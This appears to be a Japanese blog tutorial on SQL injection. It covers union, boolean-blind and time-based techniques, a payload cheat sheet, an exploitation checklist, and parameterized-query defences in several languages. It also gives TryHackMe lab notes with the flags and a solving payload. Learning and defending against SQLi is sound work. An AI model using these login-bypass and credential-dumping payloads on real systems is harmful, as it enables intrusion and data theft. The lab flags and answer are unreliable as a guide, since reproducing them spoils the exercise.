2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】SQL Injection(SQLインジェクション)完全ガイド

Last updated at Posted at 2025-10-14

はじめに

ゴール

  • SQL/DB の超速おさらい(SELECT/UNION/INSERT/UPDATE/DELETE)
  • SQLi の4分類(In-Band/Blind-Boolean/Blind-Time/Out-of-Band)と発見〜搾取(exfil)手順
  • 実務での防御レシピ(言語別・具体コード付き)
  • クイックチートシート(共通ペイロード、DB製品差分、コメント記法など)

1. SQL とデータベースの最速復習

SQL って何?

Structured Query Language。RDBMS に対してデータの取得(SELECT)追加(INSERT)更新(UPDATE)削除(DELETE) などを行う言語。

DBMS とテーブルの関係

  • DBMS(Database Management System):MySQL / PostgreSQL / SQL Server / SQLite など
  • Database:業務ごとに分かれた“箱”(例:shop
  • Table:列(カラム/フィールド)× 行(レコード)の格子状データ
  • 主キー(PRIMARY KEY):各行を一意に識別
  • リレーショナル vs. ノンリレーショナル
    • Relational(RDB):テーブル同士をキーで関連付け
    • NoSQL:ドキュメント/キー・バリュー等(例:MongoDB, Cassandra, Elastic)

SQL 基本文法ダイジェスト(MySQL 風味)

-- 取得
SELECT * FROM users;
SELECT username, password FROM users;
SELECT * FROM users WHERE username = 'admin' AND password = 'p4ssword';
SELECT * FROM users WHERE username LIKE 'a%' LIMIT 10;

-- 結合的に結果を縦連結(列数・型を合わせる)
SELECT name, address FROM customers
UNION
SELECT company, address FROM suppliers;

-- 追加
INSERT INTO users (username, password) VALUES ('bob', 'password123');

-- 更新
UPDATE users SET username='root', password='pass123' WHERE username='admin';

-- 削除(※WHERE を忘れると全消し)
DELETE FROM users WHERE username='martin';

2. SQL Injection とは(1分で掴む)

ユーザー入力が SQL 文にそのまま混入し、クエリの意味(構造)が変わる攻撃。
例)/blog?id=2;--; で文を終わらせ、-- で以降をコメントアウトして公開フラグのチェックを無効化

  • 文の終端;
  • コメント-- (後ろに空白推奨) / # / /* ... */

3. SQLi の4分類と実践テク

3.1 In-Band(同一チャネルで注入&結果取得)

  • Error-Based:エラー詳細を画面に出す系。'" で壊してエラーメッセージから列数テーブル構造を逆引き。
  • Union-BasedUNION SELECT任意の値情報スキーマ同じページに載せる。

ベース手順(Union-Based)

  1. 列数の特定
    ... id=1 UNION SELECT 1 → エラー
    ... UNION SELECT 1,2 → まだ
    ... UNION SELECT 1,2,3 → OK(= 列数 3)
  2. 元結果を無効化id=0 など存在しない条件へ
  3. 情報の列挙
    • 現在 DB 名:database()
    • テーブル一覧:FROM information_schema.tables WHERE table_schema='…'
    • カラム一覧:FROM information_schema.columns WHERE table_name='…'
    • 見やすく:GROUP_CONCAT(col SEPARATOR '<br>')

典型ペイロード例

0 UNION SELECT 1,2,database();
0 UNION SELECT 1,2, GROUP_CONCAT(table_name) 
  FROM information_schema.tables 
  WHERE table_schema='somedb';
0 UNION SELECT 1,2, GROUP_CONCAT(username,':',password SEPARATOR '<br>')
  FROM users;

3.2 Blind(画面に結果が出ない。でも手応えは取れる)

A) 認証バイパス(Boolean)

フォームの検証が “存在するか” だけを見ているとき、常真(TRUE)に化けさせる。

' OR 1=1;-- 

WHERE username='' AND password='' OR 1=1 で TRUE

B) Boolean-Based Enumeration
  • true/false の変化だけで列挙。LIKE 's%’ を当てて接頭辞探索
  • 列数が分かったら UNION SELECTWHERE <条件> をぶら下げ、**条件が真なら“ある反応”**になるよう実装差を利用。
C) Time-Based Enumeration
  • 視覚反応ゼロでも時間差が語る。
    SLEEP(5) が効けばヒット
' UNION SELECT SLEEP(5),2;--       -- 2列テーブルの例
' UNION SELECT SLEEP(5),2 WHERE database() LIKE 'sqli_%';--

3.3 Out-of-Band(OOB)

  • 攻撃チャネルと結果取得チャネルを分離(例:HTTP で打って DNS で抜く)。
  • 代表:DNS exfil(LOAD_FILE(), xp_dirtree 等の機能や外部呼び出しが鍵)

問:D で始まる exfil プロトコル? → DNS


4. クイック・チートシート

4.1 コメント & 終端

  • 終端:;
  • コメント:-- (後ろに空白)/ # / /* … */

4.2 よく使う関数

目的 MySQL PostgreSQL SQL Server
現在 DB 名 database() current_database() DB_NAME()
連結 GROUP_CONCAT() string_agg() STRING_AGG()
スリープ SLEEP(x) pg_sleep(x) WAITFOR DELAY '0:0:x'

4.3 代表ペイロード断片

' OR 1=1;-- 
' UNION SELECT 1,2,3;--
' UNION SELECT 1,2, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();--
' UNION SELECT SLEEP(5),2;--

5. 実務での防御(これを“デフォルト”に)

5.1 プリペアドステートメント(パラメータ化) — 最優先

構造とデータを分離し、入力でクエリ構造が変わらないようにする。

Python(psycopg2/Postgres)

cur.execute("SELECT * FROM users WHERE username=%s AND password=%s", (u, p))

Node.js(pg)

await client.query("SELECT * FROM users WHERE username=$1 AND password=$2", [u, p]);

Java(JDBC)

var ps = conn.prepareStatement("SELECT * FROM users WHERE username=? AND password=?");
ps.setString(1, u); ps.setString(2, p);

PHP(PDO)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$u, $p]);

Kotlin(Android/Server サイド)

val sql = "SELECT * FROM users WHERE username=? AND password=?"
conn.prepareStatement(sql).use { ps ->
    ps.setString(1, u); ps.setString(2, p)
    ps.executeQuery()
}

5.2 入力検証(Allow-list)

  • 例:ユーザー名は [a-z0-9_.-]{3,32} のみ
  • 数値パラメータは 文字列にせず “型” として受け取る

5.3 エスケープ(文字列連結が不可避なら)

  • DB ドライバ/ORM の 公式エスケープ API を使う(手書き禁止)

5.4 権限分離・安全設計

  • 最小権限の DB ユーザ(SELECT だけ等)
  • 機微データはハッシュ化password_hash/bcrypt 等)
  • 監査ログと失敗時の情報漏えい抑制(詳細な SQL エラーは出さない)
  • ORMs の Query Builder でも Raw SQL の抜け道を監査

心得:“連結したら負け” をチーム共通ルールに。


6. 発見〜搾取の“手順テンプレ”

  1. 入力点の洗い出し(URL パラメータ/Body/Headers/Cookie/非表示パラメータ/Referer など)
  2. ブレイクテスト' " ) など)→ エラー/挙動変化を確認
  3. 列数発見UNION SELECT 1,... で増やす)
  4. 反射位置の特定(どの列が画面に出るか)
  5. 情報スキーマ列挙(DB名→テーブル→カラム)
  6. 抽出GROUP_CONCAT などで可読化)
  7. Blind 系なら:Boolean/Time を使って 接頭辞探索→フル復元

7. 学習メモ(Try 型演習で押さえるポイント)

※あなたのメモの整理版(フラグ自体は伏せずに記録)。

  • Lv1(Union/Error)database()information_schemaGROUP_CONCAT で一気に俯瞰
    • Flag:THM{SQL_INJECTION_3840}
  • Lv2(Blind 認証回避)' OR 1=1;--
    • Flag:THM{SQL_INJECTION_9581}
  • Lv3(Blind Boolean)LIKE 's%' で前方一致 → DB/テーブル/カラム → ユーザ列挙
    • Flag:THM{SQL_INJECTION_1093}
  • Lv4(Blind Time)SLEEP(5) / pg_sleep() / WAITFOR を UNION に載せる
    • 最終 Flag:THM{SQL_INJECTION_MASTER}

    Lv4は最も難しいと思います。でも、この前の情報(sqli_three、users、the password is 3845)を利用して完成できます。
    UNION SELECT SLEEP(5),2 from users where username= 'admin' and password like '4961%' ;--


8. よくある“やらかし”と対策ワンライナー

  • 文字列連結の検索:禁止。クエリビルダ or パラメトライズへリライト
  • “LIKE '%?%'” どうする? → DB 方言のバインド & 連結CONCAT('%', ?, '%') など)
  • “IN (?)” の可変長リスト? → プレースホルダを動的生成(配列長 n 個の ?,...,?
  • 管理画面だけだから… → 一番危ない(社内侵入後の横移動の餌食)

まとめ

  • SQLi は“構造を壊す攻撃”。入力が SQL 構文に化けた瞬間に負け。
  • 発見は Error / Boolean / Time / OOB の 4 レーンで考える。
  • 守りは パラメータ化が王者。他は“補助輪”。
  • チーム規約として “連結禁止・レビュー必須” を制度化しよう。

未来志向ポイント:生成 AI コパイロット時代でも、SQLi の禁止事項を linters/AST で自動検出、CI でブロックする運用を“標準装備”に。人間のうっかりは機械で守る。

2
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?